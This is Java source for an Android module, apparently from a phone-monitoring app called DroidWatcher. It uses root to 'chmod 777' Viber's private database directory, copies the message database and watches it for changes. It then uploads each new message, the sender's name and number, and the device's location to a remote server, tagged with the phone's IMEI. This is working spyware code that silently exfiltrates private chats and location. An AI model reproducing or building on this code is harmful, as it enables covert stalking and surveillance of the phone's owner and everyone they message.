package com.droidwatcher.modules; import java.util.ArrayList; import java.util.Calendar; import java.util.Date; import java.util.HashMap; import org.acra.ACRA; import com.droidwatcher.Debug; import com.droidwatcher.ServerMessanger; import com.droidwatcher.SettingsManager; import com.droidwatcher.lib.FileUtil; import com.droidwatcher.lib.IMessageBody; import com.droidwatcher.lib.MessageType; import com.droidwatcher.lib.IMMessage; import com.droidwatcher.modules.location.LocationModule; import com.droidwatcher.services.AppService; import com.droidwatcher.variables.ServerMessage; import com.stericson.RootTools.RootTools; import com.stericson.RootTools.execution.CommandCapture; import android.annotation.SuppressLint; import android.content.Context; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.content.SharedPreferences.OnSharedPreferenceChangeListener; import android.content.pm.PackageManager; import android.content.pm.PackageManager.NameNotFoundException; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import android.location.Location; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.os.FileObserver; import android.preference.PreferenceManager; @SuppressLint("SdCardPath") public class ViberModule implements OnSharedPreferenceChangeListener { private static final String PATH_DB = "/data/data/com.viber.voip/databases/viber_messages"; private static final String[] MESSAGES_COLUMNS = new String[] {"address", "type", "body", "date", "location_lat", "location_lng"}; private static final String[] CONTACTS_COLUMNS = new String[] { "display_name", "number" }; private static final String SETTINGS_LASTDATE = "lastdate_vb"; private String LOCAL_PATH_DB; private Context mContext; private SettingsManager mSettings; private long mLastMsgTimestamp; private FileObserver mObserver; private HashMap<String, String> mUsernames; private boolean mIsStarted; public ViberModule(Context context){ this.mContext = context; this.mSettings = new SettingsManager(context); this.mUsernames = new HashMap<String, String>(); this.mIsStarted = false; LOCAL_PATH_DB = FileUtil.getFullPath(context, "viber_messages"); PreferenceManager.getDefaultSharedPreferences(context).registerOnSharedPreferenceChangeListener(this); } @Override public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) { if (key.equals("VB_ENABLED")){ if (mSettings.isViberEnabled()) { if (!mIsStarted) { start(); } } else{ if (mIsStarted) { stop(); } } } } private static String getDbPath(){ if (!new java.io.File(PATH_DB).exists()) { if (new java.io.File(PATH_DB + ".db").exists()) { return PATH_DB + ".db"; } } return PATH_DB; } public synchronized void start(){ if (!mSettings.isViberEnabled()) { return; } if (!isViberAvailable()) { return; } if (!AppService.isRootAvailable()) { return; } MyCommandCapture command = new MyCommandCapture( "chmod 777 /data/data/com.viber.voip/databases/*", "chmod 777 /data/data/com.viber.voip/databases", "chmod 777 " + FileUtil.getFullPath(mContext, "*")); command.setCallback(new ICommandCallback() { @Override public void run() { FileUtil.copyFile(getDbPath(), LOCAL_PATH_DB); SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(mContext); mLastMsgTimestamp = settings.getLong(SETTINGS_LASTDATE, getLastMsgTimestamp()); mObserver = new ViberFileObserver(); Debug.i("[ViberModule] Start watching"); mObserver.startWatching(); mIsStarted = true; } }); try { RootTools.getShell(true).add(command); } catch (Exception e) { Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); } } private synchronized void stop() { mIsStarted = false; try { saveLastMsgTimestamp(mLastMsgTimestamp); if (mObserver != null) { mObserver.stopWatching(); } } catch (Exception e) { Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); } finally { mObserver = null; } } public void dispose(){ stop(); } protected synchronized void getNewChat(){ MyCommandCapture command = new MyCommandCapture( "chmod 777 /data/data/com.viber.voip/databases/*", "chmod 777 /data/data/com.viber.voip/databases"); command.setCallback(new ICommandCallback() { @Override public void run() { _getNewChat(); } }); try { RootTools.getShell(true).add(command); } catch (Exception e) { Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); } } private synchronized void _getNewChat(){ if (!FileUtil.copyFile(getDbPath(), LOCAL_PATH_DB)) { return; } SQLiteDatabase db = null; try { db = SQLiteDatabase.openDatabase(LOCAL_PATH_DB, null, SQLiteDatabase.NO_LOCALIZED_COLLATORS | SQLiteDatabase.OPEN_READONLY); ArrayList<IMessageBody> list = getMessages(db); if (list == null) { return; } final long lastMsgTimestamp = mLastMsgTimestamp; mLastMsgTimestamp = getLastMsgTimestamp(db); db.close(); db = null; if (list != null && list.size() > 0 && networkAvailable()) { new ServerMessanger( mContext, new ServerMessage(MessageType.VB, mSettings.imei(), mSettings.login(), list), new ServerMessanger.ICallBack() { @Override public boolean onFinished(String response) { return false; } @Override public void onError() { mLastMsgTimestamp = lastMsgTimestamp; } @Override public void onSuccess() { saveLastMsgTimestamp(mLastMsgTimestamp); } } ).start(); } } catch (Exception e) { Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); } finally { if (db != null && db.isOpen()) { db.close(); } } } private ArrayList<IMessageBody> getMessages(SQLiteDatabase db){ Cursor c = null; try { ArrayList<IMessageBody> messages = new ArrayList<IMessageBody>(); IMMessage message; long timeout = new Date().getTime() - LocationModule.LOCATION_TIMEOUT; c = db.query("messages", MESSAGES_COLUMNS, "date > " + mLastMsgTimestamp, null, null, null, null); while (c.moveToNext()) { String number = c.getString(0); int type = c.getInt(1) + 1; /* c.getInt(1) == 1 - is out;*/ String text = c.getString(2); long date = c.getLong(3); /* time */ long lat = c.getLong(4); /* lat */ long lon = c.getLong(5); /* lon */ message = new IMMessage(date, text, getUserName(number), type); if (type == 2 && lat != 0 && lon != 0) { message.addLocationViber(lat, lon); } else{ if (date >= timeout) { Location location = LocationModule.getLocation(mContext); if (location != null) { message.addLocation(location.getLatitude(), location.getLongitude()); } } } messages.add(message); } return messages; } catch(Exception e){ Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); return null; } finally { if (c != null) { c.close(); } } } private synchronized String getUserName(String number){ if (mUsernames.containsKey(number)) { return mUsernames.get(number); } SQLiteDatabase db = null; Cursor c = null; try { db = SQLiteDatabase.openDatabase(LOCAL_PATH_DB, null, SQLiteDatabase.NO_LOCALIZED_COLLATORS | SQLiteDatabase.OPEN_READONLY); c = db.query("participants_info", CONTACTS_COLUMNS, "number = ?", new String[] { number }, null, null, null); if (c.moveToFirst()) { String username = c.getString(0) + " (" + c.getString(1) + ")"; mUsernames.put(number, username); return username; } return number; } catch(Exception e){ Debug.exception(e); return number; } finally { if (db != null && db.isOpen()) { db.close(); } if (c != null) { c.close(); } } } private long getLastMsgTimestamp(){ SQLiteDatabase db = null; Cursor c = null; try { db = SQLiteDatabase.openDatabase(LOCAL_PATH_DB, null, SQLiteDatabase.NO_LOCALIZED_COLLATORS | SQLiteDatabase.OPEN_READONLY); c = db.rawQuery("SELECT MAX(date) FROM messages", null); c.moveToFirst(); return c.getLong(0); } catch(Exception e){ Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); return new Date().getTime(); } finally { if (db != null && db.isOpen()) { db.close(); } if (c != null) { c.close(); } } } private long getLastMsgTimestamp(SQLiteDatabase db){ Cursor c = null; try { c = db.rawQuery("SELECT MAX(date) FROM messages", null); c.moveToFirst(); return c.getLong(0); } catch(Exception e){ Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); return new Date().getTime(); } finally { if (c != null) { c.close(); } } } private Boolean isViberAvailable(){ try { mContext.getPackageManager().getPackageInfo("com.viber.voip", PackageManager.GET_ACTIVITIES); return true; } catch (NameNotFoundException e) { return false; } } private synchronized void saveLastMsgTimestamp(long lastMsgTimestamp){ if (lastMsgTimestamp == 0) { return; } SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(mContext); Editor editor = settings.edit(); editor.putLong(SETTINGS_LASTDATE, lastMsgTimestamp); editor.commit(); } private Boolean networkAvailable(){ ConnectivityManager manager = (ConnectivityManager)mContext.getSystemService(Context.CONNECTIVITY_SERVICE); NetworkInfo info = manager.getActiveNetworkInfo(); if (info == null){ return false; } if (mSettings.onlyWiFi() && info.getType() != ConnectivityManager.TYPE_WIFI){ return false; } return info.isConnectedOrConnecting(); } private class MyCommandCapture extends CommandCapture{ private ICommandCallback callback; public MyCommandCapture(String... command){ super(0, command); } public void setCallback(ICommandCallback callback){ this.callback = callback; } @Override public void commandCompleted(int id, int exitcode) { if (callback != null) { callback.run(); } } } private interface ICommandCallback{ public void run(); } private class ViberFileObserver extends FileObserver { private static final long UPDATE_TIOMEOUT = 2 * 1000L; private long lastUpdate; public ViberFileObserver() { super(getDbPath(), FileObserver.MODIFY); } @Override public synchronized void onEvent(int event, String path) { Debug.i("onEvent: " + event + "; Path: " + path); long now = Calendar.getInstance().getTimeInMillis(); if (now - lastUpdate < UPDATE_TIOMEOUT) { return; } lastUpdate = now; new Thread(new Runnable() { @Override public void run() { try { Thread.sleep(UPDATE_TIOMEOUT); } catch (InterruptedException e) { e.printStackTrace(); } getNewChat(); } }).start(); } } }